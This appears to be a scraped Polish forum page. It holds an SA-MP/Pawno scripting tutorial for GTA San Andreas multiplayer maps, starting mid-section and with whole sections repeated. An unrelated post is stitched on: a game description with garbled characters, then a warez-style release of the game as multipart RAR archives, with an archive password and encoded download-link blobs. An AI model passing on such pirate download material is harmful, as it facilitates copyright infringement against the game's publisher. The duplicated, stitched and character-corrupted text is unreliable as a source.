"Kasyno Star Fish" Tutaj nie ma
};

Następne to cena:
new propertyValues[MAX_PROPERTIES] = {
200000

W całości wygląda to tak:
20000, pamiętajmy o przecinku
200000 Tutaj nie ma przecinka
};

I ostatnie to kwota jaką będzie dawała posiadłość za jej kupno:
new propertyEarnings[MAX_PROPERTIES] = {
20000

W całości wygląda to tak:
1500, jest przecinek
20000 nie ma przecinka
};

I ostatnie które trzeba zmienić to:
new propertyOwner[MAX_PROPERTIES] = {999,999,999,999,999,999,999};
Dopisujemy trzy dziewiątki na końcu:
new propertyOwner[MAX_PROPERTIES] = {999,999,999,999,999,999,999,999};

I przechodzimy do dalszej częśći… Szukamy komendy: /buy
Mamy coś takiego:
//------------------- /buy

if(strcmp(cmd, "/buy", true) == 0) {
new property=999;

if(IsPlayerInCheckpoint(playerid)) {
switch (playerCheckpoint[playerid]) {
case CP_BOTIQUE:{
property = P_BOTIQUE;
}
case CP_STARFISH: {
property = P_STARFISH;
}
}
Dodajemy to co pogrubiłem na czarno czyli:
case CP_STARFISH: {
property = P_STARFISH; <--- tutaj nie wolno usuwać średnika na końcu!!!
}

I ostatnie, które musimy zmienić to komunikat jaki będzie wyświetlany gdy wejdziemy do markera. Szukamy tego:
public OnPlayerEnterCheckpoint(playerid)
{
new string[256];
new ownplayer[MAX_PLAYER_NAME];

switch(getCheckpointType(playerid))
/* case CP_BOTIQUE: {
SendClientMessage(playerid, COLOR_YELLOW, "Możesz kupić Botique za $23,000 używając komendy /buy");
SendClientMessage(playerid, COLOR_YELLOW, "Będziesz dostawać regularnie $2,300")
}
case CP_STARFISH: {
SendClientMessage(playerid, COLOR_YELLOW, "Możesz kupić Kasyno Star Fish za $200,000 używając komendy /buy");
SendClientMessage(playerid, COLOR_YELLOW, "Będziesz dostawać regularnie $20,000");
*/

I tak. Pamiętajmy aby to co jest pogrubione na czarno umieścić pomiędzy tymi znakami które są zaznaczone na czerwono. Kolor żółty jest to treść komunikatu jaki zostanie wyświetlony gdy wejdziemy do czerwoneo kółka.
I krótkie wyjaśnienie:
SendClientMessage(playerid, COLOR_YELLOW, "Twój komentarz");
COLOR_YELLOW - kolor możemy sami zmienić lub dodać nowy. Gdy dodaliśmy np. szary, to może być to: COLOR_GREY i tekst będzie wyświetlany na szaro. Jak dodać lub zdefiniować nowe kolory dowiemy się z punktu: 4

10. Dodawanie broni by Rogal24

Szukamy linijki #define MAX_WEAPONS 8 zmieniamy na #define MAX_WEAPONS 9

Potem czas na nazwę broni pod linijką
new weaponNames[MAX_WEAPONS][32] = {
Dodajemy nazwe np
"Minigun"
ale musimy pamiętać o przecinku będzie to tak:
"m4", - tu jest przecinek
"Minigun" - a tu go nie ma

Jedziem dalej pod linijką
new weaponIDs[MAX_WEAPONS] = {
dodajemy
[id broni] //np. nasza nazwa/komentarz
38 //Minigun
pamiętajmy ciągle o przecinku będzie to wyglądało tak:
31, //M4- przecinek po liczbie
38 //minigun - tu niema przecinka

Teraz czas na koszt broni, szukamy linijki:
new weaponCost[MAX_WEAPONS] = {
i dodajemy cenę np:
20000
Pamiętamy o przecinku bez niego ani rusz! Będzie to wyglądało tak:
3000, - jest przecinek
20000 - nie ma go

I ostatnia linijka to:
new weaponAmmo[MAX_WEAPONS] = {
wpisujemy pod nią ilość amunicji np.:
240
przypomnę przecineczek...
120, - jest
240 - nie ma

PORADNIK !!! PAWNO

Witam w poradniku do robienia map w PAWNO do SA-MP!!!
Myślę że sie wam podoba? Więc nie przedłużając bierzcie się do czytania Very Happy

Oto linki w których jest wszystko tzn.:
-4 programy do edytowania map _ SA-MP Script Maker
-Program do robienia kolorów
-SA-MP 0.1b server + Client + Fix
-Dwa programy do patrzenia na bieżąco: Ludzi, pojazdów i broni wraz z ich ID
-Mapy na których jes tworzony ten poradnik(jest tam też sftdm i lvdm)
-Pliki includes do programu Pawno
-Inne-tzn. Id pojazdów, kolory, itp. itd.
Prawie w każdym folderze jest opis danego programu.
Po prostu jest tam wszystko czego programista zapragnie Razz

http://www.sendspace.com/file/bdbkh5
http://ultrashare.net/hosting/fl/216ba5f0d9/
Dodałem nowe programy do downloadu.
Są tam najpotrzebniejsze rzeczy. Polecam do ściągania.

Poradnik do Pawno:
Poradnik jest tworzony na mapie lvdmod.pwn
1. samp_debug.exe
Program którym możemy dodawać pojazdy i skiny. Jest on w folderze z grą GTA: SA. O ile mamy zainstalowane SA-MP Smile
Uruchamiamy samp_debug.exe i klikamy na Launch Debug. Oto komendy których możemy użyć:
Wciskamy tylde [~] lub [T] i piszemy:
/save (nie obowiązkowo komentarz) - zapisuje: id postaci, współrzędne x,y,z, obrót postaci,bronie
/vsel - załącza wybór pojazdów
/v (id pojazdu) - spawnuje pojazd o podanym id
/interior - dowiesz sie jaki id ma interior w którym jesteś (0 jest na zewnątrz, dwór)
F11 i F12 - wybór postaci
Koordy - czyli współrzędne które zapisywaliśmy w samp_debug.exe są w pliku: savedpositions.txt w folderze z grą
GTA: SA. Gdy chcemy dodać to co zapisaliśmy kopiujemy wybraną linijke i wklejamy do kodu źródłowego mapki.

ID pojazdów, kolory oraz ID skinów macie w linku który podałem wyrzej.

Oto jak dodawać skiny:
Mamy przykładowo takie coś. Zapisało nam się to w pliku: savedpositions.txt
I o co w tym chodzi? Oznacze wszystko poszczególnymi kolorami:

AddPlayerClass(0,1958.3783,1343.1572,15.3746,269.1425,0,0,0,0,0,0);

AddPlayerClass(ID Skinu,X,Y,Z,A,Broń1 0,Amunicja1 0,Broń2 0,Amunicja2 0,Broń3 0,Amunicja3 0);

AddPlayerClass(102,1958.3783,1343.1572,15.3746,269.1425,5,0,22,100,32,50);

Czerwony- ID gracza/skinu
Zielony-Współrzędne X Y Z
Brązowy-Kamera, obrót gracza -z ang. Angle
Fioletowy-ID broni
Niebieski-Amunicja

Teraz czas na pojazdy:
Mamy takie coś też w pliku: savedpositions.txt

AddStaticVehicle(0,2040.2279,1344.4127,10.6719,3.5436,0,0);

AddStaticVehicle(ID pojazdu,X,Y,Z,A,Kolor1,Kolor2);

AddStaticVehicle(411,2040.2279,1344.4127,10.6719,3.5436,126,54);

Czerwony-ID pojazdu
Zielony-Współrzędne X Y Z gdzie pojazd ma się znajdować
Brązowy-Kamera, obrót samochodu - z ang. Angle
Fioletowy-Kolor pierwszy pojazdu
Niebieski-Kolor drugi pojazdu

Jak dodać Pickupa? Czyli np. kamizelke na mapie albo broń??
Zapisujem współrzędne przez sam_debug.exe tam gdzie chcemy mieć nasz
przedmiot. Możemy być w aucie lub na nogach i dajem: /save opis
Otwieramy plik: savedpositions.txt i szukamy naszj zapisanej współrzędnej.
Zapisaliśmy np. współrzędną będać w pojeździe. Wygląda ona tak:

AddStaticVehicle(411,1710.3359,1614.3585,10.1191,3.5436,126,54);

Co z tym zrobić? Musimy Napisać tak:

AddStaticPiskup( );

Kopiujemy współrzędne zaznaczone na zielono: 1710.3359,1614.3585,10.1191 do:

AddStaticPiskup(1710.3359,1614.3585,10.1191);

Teraz aby dodać pickupa musimy dodać jego ID (czyli np. broni albo JetPacka):
W tym celu dopisujemy przed współrzędnymi dwie cyfry: 370,2,
I w całości to wygląda tak:

AddStaticPiskup(370,2,1710.3359,1614.3585,10.1191); //JetPack

Czerwony- ID pickupa lub broni 370-jest to pick up JetPacka
Pomarańczowy- typ respawnu

Oto kilka typów respawnu pickupów:
0- nie pokazuje pickupa
2- respawn pickupa co kilka minut
3- jest cały czas. Żaden respawn

I gdzie to wkleić?? Ano otwieramy plik: lvdm.pwn
i na dole mapy jest nowy wątek:
public OnGameModeInit()
a niżej są umieszczone Skiny i Pojazdy. Aby dodać swoje skiny lub pojazdy usuwamy je i dodajemy nowe.
Pamiętaj!!! Możesz wstawić tylko 50 modeli pojazdów i 250 wszystkich!!! Inaczej server się nie włączy!!!
Z pickupami postępujemy tak samo. Tylko dodajemy je lepiej pod pojazdami. Pickupy nie liczą się do modeli
pojazdów więc możemy ich dodać ile chcemy.

2. Jak zrobić żeby gracz miał więcej kasy na początku:

Otwieramy plik: lvdm.pwn i szukamy linijki: #define PocketMoney 50000
Jest ona na początku kodu źródłowego mapki. Liczba zaznaczona na czerwono jest liczbą pieniędzy
jaką gracz będzie dysponował na początku rozgrywki.

3. Jak zmienić nazwe mapy?? By w zakładce ,,Mode" pisało inaczej??
Otwieramy plik lvdm.pwn i szukamy na dole wątku: public OnGameModeInit()
Poniżej mamy takie coś: SetGameModeText("Ventura's DM~MG");
Zmieniamy to co jest zaznaczone na zielono. Pamiętaj że możesz zmieniać tekst
tylko w cudzysłowiach!!! Zaznaczonych tu na czerwono. Zapamiętaj to.

4.Jak dodać nowy kolor??
Otwieramy plik: lvdm.pwn i na samym początku są zdefiniowane kolory. Przykład: #define COLOR_GREY 0xAFAFAFAA
Następnie otwieramy plik: PAWNO - RGB to HEX.exe szukamy sobie nowy kolor. I definiujemy nową nazwe np.:
#define COLOR_LIGHTGREEN 0x18FE12FF

5. Tworzenie własnego markera i strefy. Czyli czerwonego kółka:
Aby zrobić współrzędne najlepiej zaopatrzyć się w program San Andreas Place Manage lub robić to przez samp_debug.exe
Gdy to już mamy przystępujemy do pracy:

AddPlayerClass(281,491.5403,-10.1736,1000.6797,205.3798,0,0,0,0,0,0); // coord 1
AddPlayerClass(281,491.7465,-17.6610,1000.6797,182.2477,0,0,0,0,0,0); // coord 2
AddPlayerClass(281,483.8130,-18.0149,1000.6797,95.8099,0,0,0,0,0,0); // coord 3
AddPlayerClass(281,483.9237,-10.1626,1000.6797,357.7577,0,0,0,0,0,0); // coord 4
3----4
| B | -droga robienia współrzędnych
2----1
AddPlayerClass(281,487.0723,-13.4085,1000.6797,220.7422,0,0,0,0,0,0); // coord buy

AddPlayerClass(281,491.5403,-10.1736,1000.6797,205.3798,0,0,0,0,0,0);
(ID gracza, X , Y , Z , A , bronie ID)

Potrzebujesz współrzędnych X i Y bierzesz:
najniższy X "483.8130"
wtedy najniższy Y "-18.0149" (Jest to liczba ujemna i dlatego jest najmniejsza)
Najwyższy X "491.7465"
Najwyższy Y "-10.1626"

Teraz masz tak: {483.8130,-18.0149, 491.7465,-10.1626} - to są współrzędne checkCoords - Strefy w której będzie znajdował się marker: ( new Float:checkCoords[MAX_POINTS][4] = { )

Aby mieć współrzędne ,,checkpoints" przepisujesz współrzędne: {487.0723,-13.4085,1000.6797} - to są współrzędne
z tej linijki: ( new Float:checkpoints[MAX_POINTS][3] = { ) - są to współrzędne w którym będzie znajdował się marker(czyli to czerwone kólko, cylinder w które trzeba wejść Smile )

Tutaj macie link do obrazka jak to wygląda:

Kopiujemy potrzebne dane które utworzyliśmy i wklejamy do kodu źródłowego naszej mapki.
Kompilujemy skrypt i włączamy naszą mapke. Gdy pojedziemy do naszego miejsca zobaczymy
czerwone kółko. Oto nasz marker którego stworzyliśmy sami! Very Happy

Thx dla 50p Wink

6. Aby wszystko nam ładnie i pięknie chodziło... zapisujemy nasz projekt a potem musimy go skompilować czyli dajemy na compile.
Skompilowany plik .amx zostanie utworzony tam gdzie edytowaliśmy plik .pwn Czyli naszym przykładem był plik: lvdmod.pwn i
skompilowaliśmy go do formatu lvdmod.amx
7.Tworzymy własną wybierałkę gracza/playera =
Chodzi o własnego gracza którym będziemy grali i o to w jaki sposób będzie
to pokazane. Oto link do zdjęcia:

Szukamy tego:

public SetupPlayerForClassSelection(playerid)
{
SetPlayerInterior(playerid,0);
SetPlayerPos(playerid,2097.502,1158.271,24.5625);
SetPlayerFacingAngle(playerid, 70.0);
SetPlayerCameraPos(playerid,2094.7,1158.271,24.5625);
SetPlayerCameraLookAt(playerid,2094.7,1158.271,24.5625);
}
Zielony- tu jest interior (0- jest na zewnątrz, dwór)
Niebieski - tu jest miejsce gdzie będą stały postacie na początku jak się wybiera
Fioletowy - tutaj jest kąt pod jakim można obrócić skina
Brązowy - tutaj jest miejsce w którym została umieszczona kamera
Błękitny - a tutaj jest miejsce z którego kamera patrzy na skina

P.S. To są moje współrzędne które sam zrobiłem. Są wzięte z mapy która jest na n2.
Współrzędne można wziąć z samp_debug.exe lub przez San Andreas Place Manager.
Wygodny jest ten drugi sposób bo można to robić latająć JetPackiem i wtedy jest łatwiej.
Ale jak kto woli. Gdy robimy współrzędne za pomocą samp_debug.exe wyciągamy współrzędne z tąd:
AddStaticVehicle(521,2000.8287,1527.6210,14.1892,1.3089,36,0);
AddPlayerClass(0,2292.7839,2452.5076,10.8203,89.9717,0,0,0,0,0,0);
Pamiętajmy że robiąć współrzędne przez San Andreas Place Manager będziemy musieli pozmieniać
przecinki jak kopiujemy współrzędne.
Aha i pamiętajcie że kamera ZAWSZE Będzie zwrócona w kierunku: N, S, W, lub E!!! Północ, Południe, Wschód, Zachód!!!

A tu jest opisane jak to mniej więcej wygląda:

public OnPlayerRequestClass(playerid, classid)

{
SetPlayerInterior(playerid,interior); - interior można wziąść z samp_debug.exe
SetPlayerPos(playerid, x, y, z);
SetPlayerFacingAngle(playerid, a); - kąt w przediale od 1-360 stopni
SetPlayerCameraPos(playerid, x, y, z);
SetPlayerCameraLookAt(playerid, x, y, z lub x ??);
}

Chyba pomogłem? Jak czegoś nie wiecie to się pytać.
Aha. Na początku lepiej aby SetPlayerCameraPos i SetPlayerCameraLookAt były takie same.
Później łatwiej wam będzie zrobić własną wybierałke playera. W linku jest obrazek, który mniej więcej wyjaśnia o co w tym chodzi... Very Happy Link do zdjęcia: http://www.fotosik.pl/pok...68cfe63a8d.html

8. Dodawanie muzyki w tle podczas wybierania gracza/playera
Aby dodać muzyczke trzeba znaleźć to:
public SetupPlayerForClassSelection(playerid)
{
SetPlayerInterior(playerid,14);
SetPlayerPos(playerid,258.4893,-41.4008,1002.0234);
SetPlayerFacingAngle(playerid, 270.0);
SetPlayerCameraPos(playerid,256.0815,-43.0475,1004.0234);
SetPlayerCameraLookAt(playerid,258.4893,-41.4008,1002.0234);
PlayerPlaySound(playerid,1159,258.4893,-41.4008,1002.0234);
}

Kolor zielony - weź stąd współrzędne: SetPlayerPos(playerid,258.4893,-41.4008,1002.0234);
i wklej do: PlayerPlaySound(playerid,1159,2097.502,1158.271,24.5625);
ID muzyki i inne są w pliku do pobrania który zamieściłem. Waży 16 MB Very Happy
Aha, i jak jest interior 0 czyli na dworze to muzyka będzie grać chyba przez
cały czas gry więc odradzam dodawanie muzyki gdy interior jest zerowy. Very Happy

9.Dodajemy własne posiadłości:
Zaczynamy od wybrania miejsca, w którym gracze będą mogli kupić nową posiadłość.
Następnie musimy utworzyć strefę i markera - czyli czerwone kółko, cylinder. Jest to opisane w punkcie: 5
Bierzemy się do roboty...
Szukamy na początku kodu mapki zdefiniowane posiadłości:
Wygląda to tak: #define CP_NAZWA NR.
I na samym dole dodajemy nową definicje:

#define CP_STARFISH 11

STARFISH - jest to nasza nazwa, jaka będzie występowała w kodzie źródłowym
11 - a jedenaście jest to liczba porządkowa przydzielana po kolei, czyli np. 1, 2, 3, 4, itd.

Następnie niżej szukamy podobnych definicji i na samym dole dodajemy:

#define P_STARFISH 8

STARFISH - jest to nasza nazwa, jaka będzie występowała w kodzie źródłowym musi się zgadzać z wyrzej wymienioną zdefiniowaną wartością
8 - jest to numer porządkowy przydzielany kolejno np. 1, 2, 3, 4, 5, itd.

Szukamy kolejnego wyrazu. Tym razem jest to:
#define MAX_POINTS 11
11- oznacza maksymalną liczbę posiadłości. Zmieniamy ją na:
#define MAX_POINTS 12
12 - ponieważ chcemy dodać jedną posiadłość

Zaraz pod: #define MAX_POINTS 12 jest linijka:
new Float:checkCoords[MAX_POINTS][4] = {
{2100.6367,1841.2338, 2352.1677,2014.0052} //komentarz nieobowiązkowy
};

To co jest pogrubione na czarno jest to rozmiar strefy w której będzie znajdował się marker.
Współrzędne strefy bierzemy z samp_debug.exe Jak zrobić strefę dowiemy się z punktu: 5
Aha nie zapomnijmy o dodanie wyżej przecinka!!! Wyglądać będzie to w moim przypadku tak:
{416.7485,-84.4242, 422.6890,-74.0611}, //BOTIQUE Tu jest przecinek po nawiasie
{2100.6367,1841.2338, 2352.1677,2014.0052} //STARFISH A tutaj nie ma
W ostatniej linijce nie dajemy nigdy przecinka po nawiasie!!!

Przechodzimy niżej. Mamy tam linijkę:
new Float:checkpoints[MAX_POINTS][3] = {
{2163.3354,1904.5193,10.8125} //komentarz nie obowiązkowy

To co pogrubiłem na czarno są to współrzędne w którym będzie znajdował się nasz marker.
Współrzędne bierzemy z samp_debug.exe Jak zrobić współrzędne dowiemy się w punkcie: 5
Aha i tutaj także pamiętajmy o przecinku:
{418.5547,-80.1667,1001.8047}, //BOTIQUE tutaj za nawiasem jest przecinek
{2163.3354,1904.5193,10.8125} //STARFISH a tutaj nie ma
};

Pamiętajmy że tutaj także nie dajemy nigdy na końcu ostatniej współrzędnej przecinka!!!

Kolejny etap to dodanie nazwy w linijce:
new checkpointType[MAX_POINTS] = {
CP_STARFISH
STARFISH - jest to nazwa którą zdefiniowaliśmy wcześniej i musi być wszędzie taka sama

Aha i przecinki...
CP_BOTIQUE, - tutaj jest
CP_STARFISH - tutaj na końcu nie ma
};

Jedziemy dalej Smile
Mamy teraz linijke:
#define MAX_PROPERTIES 8
8 - jest to liczba określająca ile budynków możemy dodać
Zmieniamy ją na 9 :
#define MAX_PROPERTIES 9
Ponieważ chcemy dodać nową posiadłość

Poniżej linijki: #define MAX_PROPERTIES 9
Mamy coś co jest najprostsze. Musimy ustalić nazwę posiadłość, cenę i kwotę jaką dany gracz będzie otrzymywać po kupnie budynku.
Mamy tak:
new propertyNames[MAX_PROPERTIES][32] = {
"Nazwa naszej posiadłości"

Wygląda to tak:
"Botique", pamiętajmy o przecinkach!! Tutaj jest
"Kasyno Star Fish" Tutaj nie ma
};

Następne to cena:
new propertyValues[MAX_PROPERTIES] = {
200000

W całości wygląda to tak:
20000, pamiętajmy o przecinku
200000 Tutaj nie ma przecinka
};

I ostatnie to kwota jaką będzie dawała posiadłość za jej kupno:
new propertyEarnings[MAX_PROPERTIES] = {
20000

W całości wygląda to tak:
1500, jest przecinek
20000 nie ma przecinka
};

I ostatnie które trzeba zmienić to:
new propertyOwner[MAX_PROPERTIES] = {999,999,999,999,999,999,999};
Dopisujemy trzy dziewiątki na końcu:
new propertyOwner[MAX_PROPERTIES] = {999,999,999,999,999,999,999,999};

I przechodzimy do dalszej częśći... Szukamy komendy: /buy
Mamy coś takiego:
//------------------- /buy

if(strcmp(cmd, "/buy", true) == 0) {
new property=999;

if(IsPlayerInCheckpoint(playerid)) {
switch (playerCheckpoint[playerid]) {
case CP_BOTIQUE:{
property = P_BOTIQUE;
}
case CP_STARFISH: {
property = P_STARFISH;
}
}
Dodajemy to co pogrubiłem na czarno czyli:
case CP_STARFISH: {
property = P_STARFISH; <--- tutaj nie wolno usuwać średnika na końcu!!!
}

I ostatnie, które musimy zmienić to komunikat jaki będzie wyświetlany gdy wejdziemy do markera. Szukamy tego:
public OnPlayerEnterCheckpoint(playerid)
{
new string[256];
new ownplayer[MAX_PLAYER_NAME];

switch(getCheckpointType(playerid))
/* case CP_BOTIQUE: {
SendClientMessage(playerid, COLOR_YELLOW, "Możesz kupić Botique za $23,000 używając komendy /buy");
SendClientMessage(playerid, COLOR_YELLOW, "Będziesz dostawać regularnie $2,300")
}
case CP_STARFISH: {
SendClientMessage(playerid, COLOR_YELLOW, "Możesz kupić Kasyno Star Fish za $200,000 używając komendy /buy");
SendClientMessage(playerid, COLOR_YELLOW, "Będziesz dostawać regularnie $20,000");
*/

I tak. Pamiętajmy aby to co jest pogrubione na czarno umieścić pomiędzy tymi znakami które są zaznaczone na czerwono. Kolor żółty jest to treść komunikatu jaki zostanie wyświetlony gdy wejdziemy do czerwoneo kółka.
I krótkie wyjaśnienie:
SendClientMessage(playerid, COLOR_YELLOW, "Twój komentarz");
COLOR_YELLOW - kolor możemy sami zmienić lub dodać nowy. Gdy dodaliśmy np. szary, to może być to: COLOR_GREY i tekst będzie wyświetlany na szaro. Jak dodać lub zdefiniować nowe kolory dowiemy się z punktu: 4

10. Dodawanie broni

Szukamy linijki #define MAX_WEAPONS 8 zmieniamy na #define MAX_WEAPONS 9

Potem czas na nazwę broni pod linijką
new weaponNames[MAX_WEAPONS][32] = {
Dodajemy nazwe np
"Minigun"
ale musimy pamiętać o przecinku będzie to tak:
"m4", - tu jest przecinek
"Minigun" - a tu go nie ma

Jedziem dalej pod linijką
new weaponIDs[MAX_WEAPONS] = {
dodajemy
[id broni] //np. nasza nazwa/komentarz
38 //Minigun
pamiętajmy ciągle o przecinku będzie to wyglądało tak:
31, //M4- przecinek po liczbie
38 //minigun - tu niema przecinka

Teraz czas na koszt broni, szukamy linijki:
new weaponCost[MAX_WEAPONS] = {
i dodajemy cenę np:
20000
Pamiętamy o przecinku bez niego ani rusz! Będzie to wyglądało tak:
3000, - jest przecinek
20000 - nie ma go

I ostatnia linijka to:
new weaponAmmo[MAX_WEAPONS] = {
wpisujemy pod nią ilość amunicji np.:
240
przypomnę przecineczek...
120, - jest
240 - nie ma

;D źródło : http://www.gtamscripting....hp?topic=2.msg2

GTA San Andreas



Producent: Rockstar Games
Kategoria: gry akcji, zręcznościowe
Data premiery: ćwiat: 07 czerwca 2005, Polska: 10 czerwca 2005
Tryb gry: single player
Oficjalna strona gry: http://www.rockstargames.com/sanandreas/
Ocena na Gry-online: 9.7
Zalecane wymagania sprzętowe: Pentium 4 1.4 GHz, 384MB RAM, karta grafiki 128MB (GeForce 3 lub lepsza), 4.7 GB HDD

OPIS::
Kolejna odsłona jednej z najpopularniejszych i najbardziej kontrowersyjnych gier wszechczasłw, w ktłrej gracz ma okazję wcielić się w drobnego rzezimieszka, a następnie tworząc własny, kryminalny życiorys samemu stanąć na czele mafii. Tym razem, przychodzi nam wcielić się w niejakiego Carla Johnsona, ktłry przed kilku laty uciekł z rodzinnego miasta w poszukiwaniu lepszego jutra. Po pięciu latach Carl wraca do Los Santos, w ktłrym zastaje gangsterski świat morderstw, narkotyków i korupcji. Jednak nieciekawy krajobraz miasta to nie koniec złych wiadomości; dzielnica w ktłrej się wychował wygląda gorzej, niż pamiętał ją sprzed pięciu lat, a skłłcona rodzina opłakuje zamordowaną matkę Carla. Na koniec złego, skorumpowani policjanci wrabiają naszego bohatera w morderstwo. Witaj w kalifornijskich latach 90-tych.

ćwiat gry tworzy stan San Andreas, wraz z trzema miastami: Fierro (San Francisco), Las Venturra (Las Vegas) i Los Santos (Los Angeles), pomiędzy ktłrymi gracz może się przemieszczać. Oczywiście miasta San Andreas nie są jedynie zlepkiem slumsów i prłcz brudnych dzielnic metropolie posiadają także bogate rejony, w ktłrych mieszkają gwiazdy filmowe, politycy i milionerzy. Okradać jest więc kogo, Carl o tym wie, a na dodatek nie musi działać w pojedynkę, gdyż może rekrutować ludzi do swojego gangu. Możliwość wspłlnej jazdy samochodem i piesze wycieczki naszej bandy, umożliwiają prowadzenia zaciekłych walk z konkurencyjnymi szajkami (np. gracz prowadzi auto, a w tym czasie pozostali pasażerowie prowadzą ostrzał konkurencji z broni maszynowej). Sam nastrłj gry utrzymany jest w klimatach lat 90-tych, zaś fenomenalna grafika (realistyczna mgła oraz odbicia światła na karoserii wozów i realistyczne cieniowanie) i muzyka, okazują się niczym, wobec nowości jakie zostały wprowadzone do GTA: San Andreas w stosunku do poprzedniej części serii. Największą z nich, jest zapewne wprowadzenie do programu wspłłczynnika głodu dla naszego bohatera. Na zapewnieniu sobie pożywiania jednak się nie koączy, prowadzona przez nas postać, np. poprzez nadmierne obżeranie się, może przybrać na wadze. To jednak nie koniec atrakcji, zbędne kilogramy można bowiem zrzucić, poprzez np. regularne wizyty w siłowni i zwiększoną dawkę sportu.

Kolejnym urealnieniem świata gry jest większa interakcja ze znajdującymi się w miastach budynkami. Bardzo ważnym elementem rozgrywki okazują się włamania i kradzieże do mieszkaą, ktłre sami musimy zaplanować i skrzętnie przeprowadzić. Nie brakuje także możliwości zakupu przerłżnych lokali, ktłre mogą dla nas zarabiać. Wśrłd nich znajduje się kasyno, w ktłrym sami możemy przepuścić trochę gotłwki. Każde miasto ma rozmiar porłwnywalny do całego Vice City z poprzedniej części GTA, nie brakuje więc rłżnorodnych środków transportu niezbędnych do przemierzania setek wirtualnych kilometrłw. Do typowych pojazdów takich jak auta, motory, motorłwki, helikoptery i samoloty, dołączył poczciwy i bardzo przydatny w świecie gry rower. Sam zaś Carl Johnson prłcz biegania i prowadzenia auta, potrafi strzelać z dwłch pistoletów jednocześnie, a także, co jest jedną z największych innowacji wobec przedniej części – pływać.

Pozytywne przeżycia związane ze zwiedzaniem miast San Andreas, związane są (nie licząc fenomenalnej grafiki) z inteligencją ich mieszkaącłw, ktłrzy reagują np. na nasze nieetyczne zachowanie na ulicy, czy wyzywają nas od grubasłw, gdy przedobrzymy z odżywianiem. Twłrcy programu, jak sami zapewniają, aby wczuć się w klimat każdego z występujących w GTA: San Andreas miast, osobiście je zwiedzili i przenieśli do gry zaobserwowane tam, specyficzne atmosfery mentalne. Mimo gangsterskiej tematyki, GTA: San Andreas wprowadza do fabuły, także elementy humorystyczne, co tworzy z niej obowiązkową pozycję zarłwno dla fanów serii, jak i nie przekonanych jeszcze do świata GTA graczy.

Hasło do programu:p2mforum.info

PART 1
Nazwa pliku: GTA San Andreas.part1.rar
Rozmiar Pliku: 700,00 MB
CRC32: CFB3C09D
Rozmiar segemntu: 7
Liczba segmentłw: 100 Kod:
Cytat:<<acsfbbjQQQNzceTtQ/DFclDFVP15WRv917nCWuhjUnh48AAnGeC4e4CLeY0nVd
/ZtxA4gyKYxj-XiZvZ5nSOv1x-IcE4Z3V3-Fsu/KG0hgTpBMzAVqzBKMPppIRWI4
xA9KV2sBiKOg2ehij6GoxaIIXXUJWi4d7WTwaTMvwmZ7M-fIeD1qJ1sb4pKn0hqy
WevwylBLKHTX5vzDnN4/PxfkPuyyZC91BCntE-7D4ziKNUDKxfZquTR-2r3TZxVY
F8tK4qsTFW8lp7SI3A2BSy4IU/2VBOc5eHVAyBJASzFhNFbneV0v1VMB/Gll48KZ
hsx1vFqL0kpWADS9A4e7XPv82eDW2I4ob50htNbexU1OpRUSxY OpZmLt06groBKQ
4fRvkamiA8dSn6a5keH2-pGCL8X6ilfyp1VBlKvo6gCdqUrburFJnsRe3qz-clNO
G3EglHlJWTlY4AAAP8W2SDjvsQ==>>



PART 2
Nazwa pliku: GTA San Andreas.part2.rar
Rozmiar Pliku: 700,00 MB
CRC32: A7795E69
Rozmiar segemntu: 7
Liczba segmentłw: 100 Kod:
Cytat:<<acQRVPzj3rdi8FPHcC8Db9tOkzhfm7nqwI1bQX7Q7zRZFS LY i7O7BlwyYBHjqZ
Rks7b8ZbKtyRtFaVok7MC2B3-qjuePEGdAj6bNOh-93-zy67jU7isIcAqG7t3glP
8bucmofs/LNPEUk0zKQUFFyHUg784e16C4eDrJEYY8GWhbw1qrh5DvIfji8 c2gvD
SMfELGr7UChW7zTD5TAUaAEptmu5JNuY8b21gVEOJCTc-cIAESdv2sUhmbRMnPT5
XWTawSLJ9r4wGFWqNA8JrWxBFvHOHZVL7Co-5RXLBZA9xoInrxqjs3J41p0Jthpd
aPBh-SHZE1qbLy5LEhthipHqM96-9JDWymgtubWho9rJu5PdDAjZEpKt12SsIGJL
HDqk4dw90Nqe2G2yP4irNj7ohBBbpE9YG-V-IHASEbD6Fnr8NlhTI3grWM/HEIBR
h/g-rIVq2On3SxGY9TELFV5/McAGbpKOK//6XN4KQfo65NC4nIdi8tp5dfC81chs
5mKc>>



PART 3
Nazwa pliku: GTA San Andreas.part3.rar
Rozmiar Pliku: 700,00 MB
CRC32: 6B761438
Rozmiar segemntu: 7
Liczba segmentłw: 100 Kod:
Cytat:<<acjA5EgubuTEAxSwDxY7Cxpc-m9zZfPDakUMwghz8Fzhx3IXwphzBpBImVAgag
pMy521GfjfA3LzTwZoGxwfZebttIchUkiz78FxawoikdJJum4d tI3--sPBhpzzv8
RnbeAecGoNJ0y3IfmE3n1e-oj2lmS0dxVMH6OOv7p7x0BZavlMSHu2eqZPcR0jzH
HUX83r0Fr3988iUWO75bzJk9F4hc8lbds8RGa8DojkJ5ma7T0P Y3zGxyEVR1s1I4
TErl8NkfyuIiqfIWTfxiaxZG0oEZmI/XHqvRxsnELKkIvK2JGMM9/I3hMidS1Opt
soA5KRx34AXTqH7noEARsgwsa4iqX/p9jmXiqmD7EeWR0EAdEjuTpZXPdhV/O133
T44zw65jVVGoHJAKIiAd/iAEHq0xyKzCkZM7FjtjIKp0vYeNuwZa3HYyU8iBGZCU
k29658EEEnV2jpJ9dJiNurgEXuKFDyWPlcTVfjAAeaVMxuI/1tK45tMKhackjQF3
Vo4C>>



PART 4
Nazwa pliku: GTA San Andreas.part4.rar
Rozmiar Pliku: 700,00 MB
CRC32: 418814A7
Rozmiar segemntu: 7
Liczba segmentłw: 100 Kod:
Cytat:<<acBRBMCsUCJmA0qt1J3IpEa0p3I3XHg5wtwGkEVUilRmG4 qj-ovP8qsjy5udf1
NSxFoZdzh4JJaoSI6AfSGvLBqVjAOWICmSA6gyKu4s1mYBBO6i q-Cq2P0B8tZTnA
DHPw7kuQ7XARyqZeu5mQXmkytfVHo1pFFA0BavBbiewcKXqhxd DBbovOsaeTapTQ
KCflZiXUlJ2N5GbBNvoyzJ/yw9-IPctChYoRuZSUD-MP/7YPnLHWJaYRwXJ2H9zR
eKHWAays-Qu2FR23ow/XH5H81JunAQLEHvdgs52qp4OOzpQo/TcezeYRq6f01Nyu
KGKd976Zv2pqH/SZBnKq-29vCnQI5JxWWwCxkNRa-y33G81KFtPrHj/wl8E3CR7p
I48OPJ2XfA5pMa/WR-SMz0q6HiIGQmm9AwFzsX5Vo-Fw8JyxrvDD471ITgKhZy0v
